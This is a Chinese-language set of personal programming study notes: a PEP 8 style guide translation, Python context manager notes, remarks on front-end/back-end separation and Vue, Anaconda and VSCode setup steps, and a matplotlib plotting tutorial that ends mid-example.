空格是首选的缩进方式。 制表符只能用于与同样使用制表符缩进的代码保持一致。 Python3不允许同时使用空格和制表符的缩进。 混合使用制表符和空格缩进的Python2代码应该统一转成空格。 当在命令行加入-t选项执行Python2时,它会发出关于非法混用制表符与空格的警告。当使用–tt时,这些警告会变成错误。强烈建议使用这样的参数。
所有行限制的最大字符数为79。 没有结构化限制的大块文本(文档字符或者注释),每行的最大字符数限制在72。 限制编辑器窗口宽度可以使多个文件并行打开,并且在使用代码检查工具(在相邻列中显示这两个版本)时工作得很好。 大多数工具中的默认封装破坏了代码的可视化结构,使代码更难以理解。避免使用编辑器中默认配置的80窗口宽度,即使工具在帮你折行时在最后一列放了一个标记符。某些基于Web的工具可能根本不提供动态折行。 一些团队更喜欢较长的行宽。如果代码主要由一个团队维护,那这个问题就能达成一致,可以把行长度从80增加到100个字符(更有效的做法是将行最大长度增加到99个字符),前提是注释和文档字符串依然已72字符折行。 Python标准库比较保守,需要将行宽限制在79个字符(文档/注释限制在72)。 较长的代码行选择Python在小括号,中括号以及大括号中的隐式续行方式。通过小括号内表达式的换行方式将长串折成多行。这种方式应该优先使用,而不是使用反斜杠续行。 反斜杠有时依然很有用。比如,比较长的,多个with状态语句,不能使用隐式续行,所以反斜杠是可以接受的:
with open('/path/to/some/file/you/want/to/read') as file_1, \
+ open('/path/to/some/file/being/written', 'w') as file_2:
+ file_2.write(file_1.read())
+
(请参阅前面关于多行if-语句的讨论,以获得关于这种多行with-语句缩进的进一步想法。) 另一种类似情况是使用assert语句。 确保在续行进行适当的缩进。
几十年来,推荐的风格是在二元运算符之后中断。但是这会影响可读性,原因有二:操作符一般分布在屏幕上不同的列中,而且每个运算符被移到了操作数的上一行。下面例子这个情况就需要额外注意,那些变量是相加的,那些变量是相减的:
# 不推荐: 操作符离操作数太远
+income = (gross_wages +
+ taxable_interest +
+ (dividends - qualified_dividends) -
+ ira_deduction -
+ student_loan_interest)
+
为了解决这种可读性的问题,数学家和他们的出版商遵循了相反的约定。Donald Knuth在他的Computers and Typesetting系列中解释了传统规则:“尽管段落中的公式总是在二元运算符和关系之后中断,显示出来的公式总是要在二元运算符之前中断”4。 遵循数学的传统能产出更多可读性高的代码:
# 推荐:运算符和操作数很容易进行匹配
+income = (gross_wages
+ + taxable_interest
+ + (dividends - qualified_dividends)
+ - ira_deduction
+ - student_loan_interest)
+
在Python代码中,允许在二元运算符之前或之后中断,只要本地的约定是一致的。对于新代码,建议使用Knuth的样式。
顶层函数和类的定义,前后用两个空行隔开。 类里的方法定义用一个空行隔开。 相关的功能组可以用额外的空行(谨慎使用)隔开。一堆相关的单行代码之间的空白行可以省略(例如,一组虚拟实现 dummy implementations)。 在函数中使用空行来区分逻辑段(谨慎使用)。 Python接受control-L(即^L)换页符作为空格;许多工具把这些字符当作页面分隔符,所以你可以在文件中使用它们来分隔相关段落。请注意,一些编辑器和基于Web的代码阅读器可能无法识别control-L为换页,将在其位置显示另一个字形。
Python核心发布版本中的代码总是以UTF-8格式编码(或者在Python2中用ASCII编码)。 使用ASCII(在Python2中)或UTF-8(在Python3中)编码的文件不应具有编码声明。 在标准库中,非默认的编码应该只用于测试,或者当一个注释或者文档字符串需要提及一个包含内ASCII字符编码的作者名字的时候;否则,使用\x,\u,\U , 或者 \N 进行转义来包含非ASCII字符。 对于Python 3和更高版本,标准库规定了以下策略(参见 PEP 3131):Python标准库中的所有标识符必须使用ASCII标识符,并在可行的情况下使用英语单词(在许多情况下,缩写和技术术语是非英语的)。此外,字符串文字和注释也必须是ASCII。唯一的例外是(a)测试非ASCII特征的测试用例,以及(b)作者的名称。作者的名字如果不使用拉丁字母拼写,必须提供一个拉丁字母的音译。 鼓励具有全球受众的开放源码项目采取类似的政策。
导入通常在分开的行,例如:
推荐: import os
+ import sys
+
+不推荐: import sys, os
+
但是可以这样:
from subprocess import Popen, PIPE
+
导入总是位于文件的顶部,在模块注释和文档字符串之后,在模块的全局变量与常量之前。 导入应该按照以下顺序分组:
推荐使用绝对路径导入,如果导入系统没有正确的配置(比如包里的一个目录在sys.path里的路径后),使用绝对路径会更加可读并且性能更好(至少能提供更好的错误信息):
import mypkg.sibling
+from mypkg import sibling
+from mypkg.sibling import example
+
然而,显示的指定相对导入路径是使用绝对路径的一个可接受的替代方案,特别是在处理使用绝对路径导入不必要冗长的复杂包布局时:
from . import sibling
+from .sibling import example
+
标准库要避免使用复杂的包引入结构,而总是使用绝对路径。 不应该使用隐式相对路径导入,并且在Python 3中删除了它。
当从一个包含类的模块中导入类时,常常这么写:
from myclass import MyClass
+from foo.bar.yourclass import YourClass
+
如果上述的写法导致名字的冲突,那么这么写:
import myclass
+import foo.bar.yourclass
+
然后使用“myclass.MyClass”和“foo.bar.yourclass.YourClass”。
避免通配符的导入(from import *),因为这样做会不知道命名空间中存在哪些名字,会使得读取接口和许多自动化工具之间产生混淆。对于通配符的导入,有一个防御性的做法,即将内部接口重新发布为公共API的一部分(例如,用可选加速器模块的定义覆盖纯Python实现的接口,以及重写那些事先不知道的定义)。 当以这种方式重新发布名称时,以下关于公共和内部接口的准则仍然适用。
像__all__
, __author__
, __version__
等这样的模块级“呆名“(也就是名字里有两个前缀下划线和两个后缀下划线),应该放在文档字符串的后面,以及除from __future__
之外的import表达式前面。Python要求将来在模块中的导入,必须出现在除文档字符串之外的其他代码之前。 比如:
"""This is the example module.
+
+This module does stuff.
+"""
+
+from __future__ import barry_as_FLUFL
+
+__all__ = ['a', 'b', 'c']
+__version__ = '0.1'
+__author__ = 'Cardinal Biggles'
+
+import os
+import sys
+
在Python中,单引号和双引号字符串是相同的。PEP不会为这个给出建议。选择一条规则并坚持使用下去。当一个字符串中包含单引号或者双引号字符的时候,使用和最外层不同的符号来避免使用反斜杠,从而提高可读性。 对于三引号字符串,总是使用双引号字符来与PEP 257中的文档字符串约定保持一致。
在下列情况下,避免使用无关的空格:
紧跟在小括号,中括号或者大括号后。
Yes: spam(ham[1], {eggs: 2})
+No: spam( ham[ 1 ], { eggs: 2 } )
+
紧贴在逗号、分号或者冒号之前。
Yes: if x == 4: print x, y; x, y = y, x
+No: if x == 4 : print x , y ; x , y = y , x
+
然而,冒号在切片中就像二元运算符,在两边应该有相同数量的空格(把它当做优先级最低的操作符)。在扩展的切片操作中,所有的冒号必须有相同的间距。例外情况:当一个切片参数被省略时,空格就被省略了。 推荐:
ham[1:9], ham[1:9:3], ham[:9:3], ham[1::3], ham[1:9:]
+ham[lower:upper], ham[lower:upper:], ham[lower::step]
+ham[lower+offset : upper+offset]
+ham[: upper_fn(x) : step_fn(x)], ham[:: step_fn(x)]
+ham[lower + offset : upper + offset]
+
不推荐:
ham[lower + offset:upper + offset]
+ham[1: 9], ham[1 :9], ham[1:9 :3]
+ham[lower : : upper]
+ham[ : upper]
+
紧贴在函数参数的左括号之前。
Yes: spam(1)
+No: spam (1)
+
紧贴索引或者切片的左括号之前。
Yes: dct['key'] = lst[index]
+No: dct ['key'] = lst [index]
+
为了和另一个赋值语句对齐,在赋值运算符附件加多个空格。 推荐:
x = 1
+y = 2
+long_variable = 3
+
不推荐:
x = 1
+y = 2
+long_variable = 3
+
避免在尾部添加空格。因为尾部的空格通常都看不见,会产生混乱:比如,一个反斜杠后面跟一个空格的换行符,不算续行标记。有些编辑器不会保留尾空格,并且很多项目(像CPython)在pre-commit的挂钩调用中会过滤掉尾空格。
总是在二元运算符两边加一个空格:赋值(=),增量赋值(+=,-=),比较(==,<,>,!=,<>,<=,>=,in,not,in,is,is not),布尔(and, or, not)。
如果使用具有不同优先级的运算符,请考虑在具有最低优先级的运算符周围添加空格。有时需要通过自己来判断;但是,不要使用一个以上的空格,并且在二元运算符的两边使用相同数量的空格。 推荐:
i = i + 1
+submitted += 1
+x = x*2 - 1
+hypot2 = x*x + y*y
+c = (a+b) * (a-b)
+
不推荐:
i=i+1
+submitted +=1
+x = x * 2 - 1
+hypot2 = x * x + y * y
+c = (a + b) * (a - b)
+
在制定关键字参数或者默认参数值的时候,不要在=附近加上空格。
推荐:
def complex(real, imag=0.0):
+ return magic(r=real, i=imag)
+
不推荐:
def complex(real, imag = 0.0):
+ return magic(r = real, i = imag)
+
功能型注释应该使用冒号的一般性规则,并且在使用->的时候要在两边加空格。(参考下面的功能注释得到能够多信息)
推荐:
def munge(input: AnyStr): ...
+def munge() -> AnyStr: ...
+
不推荐:
def munge(input:AnyStr): ...
+def munge()->PosInt: ...
+
当给有类型备注的参数赋值的时候,在=两边添加空格(仅针对那种有类型备注和默认值的参数)。
推荐
def munge(sep: AnyStr = None): ...
+def munge(input: AnyStr, sep: AnyStr = None, limit=1000): ...
+
不推荐
def munge(input: AnyStr=None): ...
+def munge(input: AnyStr, limit = 1000): ...
+
if foo == 'blah':
+ do_blah_thing()
+do_one()
+do_two()
+do_three()
+
if foo == 'blah': do_blah_thing()
+do_one(); do_two(); do_three()
+
if foo == 'blah': do_blah_thing()
+for x in lst: total += x
+while t < 10: t = delay()
+
if foo == 'blah': do_blah_thing()
+else: do_non_blah_thing()
+
+try: something()
+finally: cleanup()
+
+do_one(); do_two(); do_three(long, argument,
+ list, like, this)
+if foo == 'blah': one(); two(); three()
+
x = x + 1 # Increment x
+
x = x + 1 # Compensate for border
+
"""Return a foobang
+
+Optional plotz says to frobnicate the bizbaz first.
+"""
+
有许多不同的命名风格。这里能够帮助大家识别正在使用什么样的命名风格,而不考虑他们为什么使用。
以下是常见的命名方式:
也有用唯一的短前缀把相关命名组织在一起的方法。这在Python中不常用,但还是提一下。比如,os.stat()函数中包含类似以st_mode,st_size,st_mtime这种传统命名方式命名的变量。(这么做是为了与 POSIX 系统的调用一致,以帮助程序员熟悉它。)
X11库的所有公共函数都加了前缀X。在Python里面没必要这么做,因为属性和方法在调用的时候都会用类名做前缀,函数名用模块名做前缀。
另外,下面这种用前缀或结尾下划线的特殊格式是被认可的(通常和一些约定相结合):
代码应该用不损害其他Python实现的方式去编写(PyPy,Jython,IronPython,Cython,Psyco 等)。
和像None这样的单例对象进行比较的时候应该始终用 is 或者 is not,永远不要用等号运算符。
使用 is not 运算符,而不是 not … is 。虽然这两种表达式在功能上完全相同,但前者更易于阅读,所以优先考虑。
推荐:
if foo is not None:
+
不推荐:
if not foo is None:
+
当使用富比较(rich comparisons,一种复杂的对象间比较的新机制,允许返回值不为-1,0,1)实现排序操作的时候,最好实现全部的六个操作符(eq, ne, lt, gt, ge)而不是依靠其他的代码去实现特定的比较。
始终使用def表达式,而不是通过赋值语句将lambda表达式绑定到一个变量上。 推荐:
def f(x): return 2*x
+
不推荐:
f = lambda x: 2*x
+
从Exception继承异常,而不是BaseException。直接继承BaseException的异常适用于几乎不用来捕捉的异常。
适当地使用异常链接。在Python 3里,为了不丢失原始的根源,可以显式指定“raise X from Y”作为替代。
在Python 2中抛出异常时,使用 rasie ValueError(‘message’) 而不是用老的形式 raise ValueError, ‘message’。
当捕获到异常时,如果可以的话写上具体的异常名,而不是只用一个except: 块。 比如说:
try:
+ import platform_specific_module
+except ImportError:
+ platform_specific_module = None
+
try:
+ process_data()
+except Exception as exc:
+ raise DataProcessingFailedError(str(exc))
+
为了避免和原来基于逗号分隔的语法出现歧义,Python3只支持这一种语法。
try:
+ value = collection[key]
+except KeyError:
+ return key_not_found(key)
+else:
+ return handle_value(value)
+
不推荐:
try:
+ # Too broad!
+ return handle_value(collection[key])
+except KeyError:
+ # Will also catch KeyError raised by handle_value()
+ return key_not_found(key)
+
with_stmt ::= "with" with_item ("," with_item)* ":" suite
+with_item ::= expression ["as" target]
+
+例如:
+with open('myfile.txt', 'w') as fd:
+ # read or write here
+ BLOCK1
+ ...
+ # other work
+
+# outside with statement
+# other work
+BLOCK2
+...
+
context_manager = SomeKindOfManager()
+target = context_manager.__enter__()
+try:
+ BLOCK1
+finally:
+ result = context_manager.__exit__()
+ if reason is exception:
+ if result:
+ suppress exception
+ else
+ raise exception
+
+BLOCK2
+
class MyContextManager(object):
+
+ def __enter__(self):
+ return 'hello world'
+
+ def __exit__(self, exc_type, exc_val, exc_traceback):
+ print('Byebye')
+
+
+with MyContextNanager() as msg:
+ print(msg)
+
hello world
+Byebye
+
with conn.begin_transaction():
+ do_stuff_in_transaction(conn)
+
with conn:
+ do_stuff_in_transaction(conn)
+
def foo(x):
+ if x >= 0:
+ return math.sqrt(x)
+ else:
+ return None
+
+def bar(x):
+ if x < 0:
+ return None
+ return math.sqrt(x)
+
def foo(x):
+ if x >= 0:
+ return math.sqrt(x)
+
+def bar(x):
+ if x < 0:
+ return
+ return math.sqrt(x)
+
推荐: if foo.startswith('bar'):
+糟糕: if foo[:3] == 'bar':
+
正确: if isinstance(obj, int):
+糟糕: if type(obj) is type(1):
+
if isinstance(obj, basestring):
+
正确: if not seq:
+ if seq:
+
+糟糕: if len(seq):
+ if not len(seq):
+
正确: if greeting:
+糟糕: if greeting == True:
+更糟: if greeting is True:
+
# type: ignore
+
在传统架构模式中,前后端代码存放于同一个代码库中,甚至是同一工程目录下。页面中还夹杂着后端代码。前后端工程师进行开发时,都必须把整个项目导入到开发工具中。
前后端代码库分离,前端代码中有可以进行 Mock测试(通过构造虚拟测试对象以简化测试环境的方法)的伪后端,能支持前端的独立开发和测试。而后端代码中除了功能实现外,还有着详细的测试用例,以保证 API 的可用性,降低集成风险。
在开发期间前后端共同商定好数据接口的交互形式和数据格式。然后实现前后端的并行开发;
其中前端工程师在开发完成之后可以独自进行 mock测试,而后端也可以使用 Postman 等接口测试软件进行接口自测,然后前后端一起进行功能联调并校验格式,最终进行自动化测试。
如此一来可以实现前后端代码解耦, 并行开发项目, 能够提升开发效率且易于维护
Vue 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层,不仅易于上手,还便于与第三方库或既有项目整合。另一方面,当与现代化的工具链以及各种支持类库结合使用时,Vue 也完全能够为复杂的单页应用提供驱动。
在 Vue 中, 一个核心的概念就是: 数据驱动, 避免手动操作 DOM 元素, 如此一来开发者则无需关心 DOM 是如何渲染的从而有更多时间专注于业务逻辑的实现
练习 - 添加计算属性 - Learn | Microsoft Docs
一个 Vue 3 UI 框架 | Element Plus (gitee.io)
即时设计 - 可实时协作的专业 UI 设计工具 (js.design)
欢迎来到 Flask 的世界 — Flask 中文文档( 1.1.2 ) (dormousehole.readthedocs.io)
快速入门 | Electron (electronjs.org)
Python + Flask + Electron 混合开发入门 (项目演示)_Likianta 的博客-CSDN博客_electron flask
https://learngitbranching.js.org/?locale=zh_CN
more branches
先 pull 后 commit/push
Free Educational Licenses - Community Support (jetbrains.com)
Anaconda + VSCode + jupyter插件 + Python相关插件
Anaconda
: 用于管理 python 环境VSCode
: 用于编写与运行 python 程序VSCode 中的 Jupyter 插件
: 用于交互式编写 python 程序VSCode 中的 Python 相关插件
: 用于支持一些 Python 相关的代码提示, 语法高亮之类Python 开发环境配置 | DailyNotes (ayusummer.github.io)
需要注意的是, 使用 Anaconda Navigator 或者 conda 环境操作时需要关掉梯子, 否则可能会报 host 错误
安装完成后打开 Anaconda Navigator
:
打开 anaconda prompt
执行以下命令来配置清华源:
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/
+conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge
+conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/msys2/
+
配置清华源是为了后续使用 pip
命令安装 python 库时快些, 不配置换源而直接使用默认源的话在墙内容易超时报错
打开 Anaconda Navigator -> Environments
在环境列表底部按钮中找到 Create
并点击
为新环境命一个名(英文命名, 尽量简短些, 之后激活要用)
这里选择了 Python 3.8.13, 不上 3.9 或者 3.10 主要是因为有一些三方库更新没跟上, 不一定支持 python3.9 及以上
在命令行中使用 conda 环境可以使用如下指令激活:
conda activate 环境名
+
在控制台输入 conda -V
没有反应的话应该是环境变量没加(虽然我记得装的时候会提示勾选添加环境变量)
如果没添加环境变量的话可以编辑系统环境变量, 在 系统变量
的 Path
项中添加两条环境变量
C:\Users\xxx\Anaconda3
+C:\Users\xxx\Anaconda3\Scripts
+
第一条对应自己的 Anaconda 安装位置根目录
第二条对应 Anaconda 根目录下的 Scripts 目录
用于编辑与运行 python 程序, 选择 VSCode 主要是其比较轻量, 启动比较快, 用起来比较顺手, 且插件市场庞大, 对于许多语言都有插件支持, 按需下载
比起安装 python 解释器自带的 IDLE 友好许多, 又不会像 Pycharm 一样庞大/启动慢/占资源, 作为平时写点小脚本, 小玩意儿来说完全够用
汉化插件
Python 相关基础插件
jupyter 插件
使用 Jupyter 的好处在于可以边写笔记边写代码, 如下图所示, 在笔记中可以插入代码块并运行及显示
Markdown 插件
命令行插件 Terminal
用于在 VSCode 中打开 powershell 执行命令
函数 | 函数作用 |
---|---|
plt.figure() | 创建一个空白画布,可以指定画布大小,像素 |
plt.subplot() | 创建并选中子图,可以指定子图的行数,列数,与选中图片编号 |
matplotlib.pyplot def figure(num: Union[int, str, None] = None,
+ figsize: Any = None,
+ dpi: Optional[int] = None,
+ facecolor: Any = None,
+ edgecolor: Any = None,
+ frameon: Optional[bool] = True,
+ FigureClass: Any = Figure,
+ clear: Optional[bool] = False,
+ **kwargs: Any) -> Any
+
注意:当你使用画布时,务必记得在不使用该画布时使用 pyplot.close 来关闭画布以清理其占用的内存
- 否则你可能会因为内存溢出而头痛不已
- 1英寸等于2.5cm
- A4纸是 21*30cm的纸张
import matplotlib.pyplot as plt
+import numpy as np
+
+a = np.arange(1, 13)
+b = np.array([12, 12, 34, 23, 56, 45, 24, 45, 23, 45, 21, 12])
+c = a ** 2 + 1
+plt.figure('qwqerr', figsize=(10, 5), dpi=60) # 定义画布
+plt.plot(a, b)
+plt.figure('12', figsize=(10, 5), dpi=60)
+plt.plot(a, c)
+plt.show()
+
+
函数 | 函数作用 |
---|---|
plt.title | 在当前图形中添加图表题,可以确定标题的名称,位置,颜色,字体大小等参数 |
plt.xlable | 在当前图形中添加x轴名称(标题),可以指定位置,颜色,字体大小等参数 |
plt.ylable | 在当前图形中添加y轴名称(标题),可以指定位置,颜色,字体大小等参数 |
plt.xlim | 指定当前x轴的范围,只能确定一个数值区间,而无法使用字符串标识 |
plt.ylim | 指定当前y轴的范围,只能确定一个数值区间,而无法使用字符串标识 |
plt.xticks | 指定x轴可读的数目与取值 |
plt.yticks | 指定y轴可读的书目与取值 |
Matplotlib内无中文字节码,需要另外添加显示中文的模块
from matplotlib.font_manager import FontProperties as FP
+font = FP(fname = 'C:/WINDOWS/Fonts/STKAITI.TTF', size=16)
+
matplotlib.rcParams['font.family'] = ['SimHei']
+
plt.rcParams['axes.unicode_minus'] = False
+
绘制sin(x) ,并添加标题
title('文本',fontsize=None,fontweight=None,fontstyle=None)
+
[‘xx-small’, ‘x-small’, ‘small’, ‘medium’, ‘large’,‘x-large’, ‘xx-large’]
+
[‘light’, ‘normal’, edium’, ‘semibold’, ‘bold’, ‘heavy’, ‘black’]
+
[ ‘normal’ | ‘italic’ | ‘oblique’ ]
+
import matplotlib.pyplot as plt
+import numpy as np
+from matplotlib.font_manager import FontProperties as FP
+
+font = FP(fname='C:/WINDOWS/Fonts/STKAITI.TTF', size=12)
+a1 = np.linspace(0, 2 * np.pi)
+b1 = np.sin(a1)
+plt.title('sin(x)函数图', fontproperties=font, size=18) # 设置图的标题
+plt.xlabel('x轴', fontproperties=font) # 设置X轴的名称
+plt.ylabel('y轴', fontproperties=font) # 设置y轴的名称
+plt.plot(a1, b1) # 画折线图
+plt.show()
+
+
运行结果
import matplotlib.pyplot as plt
+import numpy as np
+from matplotlib.font_manager import fontManager
+
+a1 = np.linspace(0, 2 * np.pi)
+b1 = np.sin(a1)
+plt.title('sin(x)函数图', fontproperties='FangSong', size=16) # 设置图的标题
+plt.xlabel('x值', fontproperties='simhei', fontsize=10) # 设置X轴的名称
+plt.ylabel('函数值', fontproperties='stkaiti') # 设置y轴的名称
+plt.plot(a1, b1) # 画折线图
+plt.show()
+
+
运行结果
虽然这里这么写了,但是在字体管理器那里我已经可以正常显示负号了
配置rc参数
rcParams['axes.unicode_minus']=False #修改y轴的名称(标题)
+
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['simhei']
+plt.rcParams['axes.unicode_minus'] = False
+a1 = np.linspace(0, 2 * np.pi)
+b1 = np.sin(a1)
+plt.title('sin(x)函数图', size=16) # 设置图的标题
+plt.xlabel('x 值', labelpad=10) # 设置X轴的名称
+plt.ylabel('函\n数\n值',
+ rotation=0, # 文本中的文字水平显示
+ linespacing=2, # 行距
+ labelpad=20, # 文本名称与坐标轴的距离
+ position=(10, 0.35) # 文本名称的纵坐标(第2个数值)
+ )
+plt.plot(a1, b1) # 画折线图
+plt.show()
+
+
运行结果
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['SimHei']
+a1 = np.linspace(0, 2 * np.pi)
+b1 = np.sin(a1)
+plt.title('sin(x)函数图', fontsize='large') # 设置图的标题
+plt.xlabel('x的值') # 设置X轴的名称
+plt.ylabel('函数值') # 设置y轴的名称
+plt.plot(a1, b1) # 画折线图
+plt.show()
+
+# 运行结果
+C:\Users\233\AppData\Local\Programs\Python\Python38\lib\site-packages\matplotlib\backends\backend_agg.py:214: RuntimeWarning: Glyph 8722 missing from current font.
+ font.set_text(s, 0.0, flags=flags)
+C:\Users\233\AppData\Local\Programs\Python\Python38\lib\site-packages\matplotlib\backends\backend_agg.py:183: RuntimeWarning: Glyph 8722 missing from current font.
+ font.set_text(s, 0, flags=flags)
+
+
SimHei
字体不支持Unicode负号import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['SimHei']
+plt.rcParams['axes.unicode_minus'] = False
+a1 = np.linspace(-2 * np.pi, 2 * np.pi)
+b1 = np.sin(a1)
+c1 = np.cos(a1)
+plt.plot(a1, b1)
+plt.plot(a1, c1)
+plt.title('sin---cos 曲线图')
+plt.show()
+
+
运行结果
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['SimHei']
+plt.rcParams['axes.unicode_minus'] = False
+a1 = np.linspace(-2 * np.pi, 2 * np.pi)
+b1 = np.sin(a1)
+c1 = np.cos(a1)
+d1 = 2 * a1 + 4
+fig = plt.figure(figsize=(12, 4)) # 定义了图对象
+fig.add_subplot(2, 2, 1) # fig.add_subplot(221)
+plt.plot(a1, b1)
+fig.add_subplot(2, 2, 2)
+plt.plot(a1, c1)
+fig.add_subplot(223)
+plt.plot(a1, d1)
+plt.show()
+
+
运行结果
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['SimHei']
+plt.rcParams['axes.unicode_minus'] = False
+a1 = np.linspace(-2 * np.pi, 2 * np.pi)
+b1 = np.sin(a1)
+c1 = np.cos(a1)
+d1 = 2 * a1 + 4
+fig = plt.figure(figsize=(12, 4)) # 定义了图对象
+fig.add_subplot(2, 2, 1) # fig.add_subplot(221)
+plt.title('sin(x)')
+plt.plot(a1, b1)
+fig.add_subplot(2, 2, 2)
+plt.title('cos(x)')
+plt.plot(a1, c1)
+fig.add_subplot(223)
+plt.title('直线')
+plt.plot(a1, d1)
+plt.show()
+
+
运行结果
plt.suptitle()
+
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['SimHei']
+plt.rcParams['axes.unicode_minus'] = False
+a1 = np.linspace(-2 * np.pi, 2 * np.pi)
+b1 = np.sin(a1)
+c1 = np.cos(a1)
+d1 = 2 * a1 + 4
+e1 = a1 ** 2 + 4 * a1 + 3
+plt.figure(figsize=(8, 4)) # 创建画布
+plt.suptitle('Figuer 标题', fontsize=14)
+
+plt.subplot(2, 2, 1) # plt.subplot(221)
+plt.title('sin(x)')
+plt.plot(a1, b1)
+
+plt.subplot(2, 2, 2)
+plt.title('cos(x)')
+plt.plot(a1, c1)
+
+plt.subplot(223)
+plt.title('直线')
+plt.plot(a1, d1)
+
+plt.subplot(224)
+plt.title('二次函数')
+plt.plot(a1, e1)
+plt.tight_layout(1, 3, 3)
+plt.show()
+
+
| 月份 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | | - |- |- |- |- |- |- |- |- |- |- |- |- |- | | 营业额(万元) | 5.2 | 4 | 3.7 | 5.2 | 4.9 | 3.6 | 5.8 | 3.8 | 6.7 | 6.1 | 4.5 | 5.7 |
import matplotlib.pyplot as plt
+
+plt.rcParams['font.sans-serif'] = ['simhei']
+a = list(range(1, 13))
+b = [5.2, 4, 3.7, 5.2, 4.9, 3.6, 5.8, 3.8, 6.7, 6.1, 4.5, 5.7]
+plt.title('烧烤店营业额')
+plt.xlabel('月')
+plt.ylabel('营\n业\n额', rotation=0, labelpad=20)
+xnum = range(1, 13)
+xlabel = [str(i) + '月' for i in range(1, 13)]
+plt.xticks(xnum, xlabel) # 设置x轴的刻度与标签
+plt.plot(a, b)
+plt.show()
+
+
运行结果
label
及颜色生成图例在图内legend的主要参数如下:
bbox_to_anchor
的值。 bbox_to_anchor=(levelnum,vernum)
+
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['SimHei']
+plt.rcParams['axes.unicode_minus'] = False
+
+a1 = np.linspace(-2 * np.pi, 2 * np.pi)
+b1 = np.sin(a1)
+c1 = np.cos(a1)
+plt.title('sin---cos 曲线图')
+plt.plot(a1, c1)
+plt.plot(a1, b1)
+plt.legend(['cosx', 'sinx'], loc=3) # loc=3对应lower left
+plt.show()
+
+
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['SimHei']
+plt.rcParams['axes.unicode_minus'] = False
+
+a1 = np.linspace(-2 * np.pi, 2 * np.pi)
+b1 = np.sin(a1)
+c1 = np.cos(a1)
+d1 = 2 * a1 + 4
+e1 = a1 ** 2 + 4 * a1 + 3
+
+plt.figure(figsize=(8, 4)) # 创建画布
+plt.suptitle('Figuer 标题', fontsize=14)
+
+plt.subplot(2, 2, 1) # plt.subplot(221)
+plt.title('sin(x)')
+plt.plot(a1, b1)
+plt.legend(['sinx'])
+plt.subplot(2, 2, 2)
+plt.title('coswe')
+plt.plot(a1, c1)
+plt.legend(['cosx'])
+plt.subplot(223)
+plt.title('直线')
+plt.plot(a1, d1)
+plt.legend(['straight lines'], edgecolor='r')
+plt.subplot(224)
+plt.title('二次函数')
+plt.plot(a1, e1)
+plt.tight_layout(1, 3, 3)
+plt.show()
+
+
savefig(fname, dpi=None)
+
ValueError: Format 'bmp' is not supported (supported formats: eps, jpeg, jpg, pdf, pgf, png, ps, raw, rgba, svg, svgz, tif, tiff)
+
import matplotlib.pyplot as plt
+import numpy as np
+import os
+
+file_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '123.png'))
+
+plt.rcParams['font.family'] = ['SimHei']
+plt.rcParams['axes.unicode_minus'] = False
+a1 = np.linspace(-2 * np.pi, 2 * np.pi)
+b1 = np.sin(a1)
+c1 = np.cos(a1)
+d1 = 2 * a1 + 4
+e1 = a1 ** 2 + 4 * a1 + 3
+plt.figure(figsize=(8, 4)) # 创建画布
+plt.suptitle('Figuer 标题', fontsize=14)
+
+plt.subplot(2, 2, 1) # plt.subplot(221)
+plt.title('sin(x)')
+plt.plot(a1, b1)
+plt.legend(['sinx'])
+plt.subplot(2, 2, 2)
+plt.title('coswe')
+plt.plot(a1, c1)
+plt.legend(['cosx'])
+plt.subplot(223)
+plt.title('直线')
+plt.plot(a1, d1)
+plt.legend(['straight lines'], edgecolor='r')
+plt.subplot(224)
+plt.title('二次函数')
+plt.plot(a1, e1)
+plt.tight_layout(1, 3, 3)
+
+# 图的保存
+plt.savefig(file_path)
+plt.show()
+
+
show()
+
折线图比较适合描述和比较
使用方法
相关参数可以设置:
pyplot绘图
plot()
函数
plot(x轴,y轴,折线形状颜色标记,设置标签显示信息)
+
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['simhei']
+# 购买数量数据存储
+num = np.array(range(1, 31))
+# 购买数量对应的优惠价
+price = 75
+wnum = np.array([price * (1 - 0.01 * i) for i in num])
+# 商家收益数据
+earnnum = (wnum - 49) * num
+# 顾客总消费
+cusprice = wnum * num
+# 顾客省钱
+cusnum = num * (price - wnum)
+plt.xlabel('顾客购买数量(件)')
+plt.ylabel('金额(元)')
+plt.plot(num, earnnum)
+plt.plot(num, cusprice)
+plt.plot(num, cusnum)
+plt.title('数量--金额关系图')
+plt.legend(['商家收益', '顾客总消费', '顾客省钱'])
+plt.show()
+
+
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['simhei']
+num = np.array(range(1, 31)) # 购买数量数据存储
+# 购买数量对应的优惠价
+price = 75
+wnum = np.array([price * (1 - 0.01 * i) for i in num])
+earnnum = (wnum - 49) * num # 商家收益数据
+cusprice = wnum * num # 顾客总消费
+cusnum = num * (price - wnum) # 顾客省钱
+plt.xlabel('顾客购买数量(件)')
+plt.ylabel('金额(元)')
+plt.plot(num, earnnum, '--', label='商家收益')
+plt.plot(num, cusprice, label='顾客总消费')
+plt.plot(num, cusnum, ':', label='顾客省钱')
+plt.title('数量--金额关系图')
+
+plt.legend()
+plt.show()
+
+
D:\服务质量保证\商场一楼手机信号强度.txt
中 import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['simhei']
+num = np.array(range(1, 31)) # 购买数量数据存储
+# 购买数量对应的优惠价
+price = 75
+wnum = np.array([price * (1 - 0.01 * i) for i in num])
+earnnum = (wnum - 49) * num # 商家收益数据
+cusprice = wnum * num # 顾客总消费
+cusnum = num * (price - wnum) # 顾客省钱
+plt.xlabel('顾客购买数量(件)')
+plt.ylabel('金额(元)')
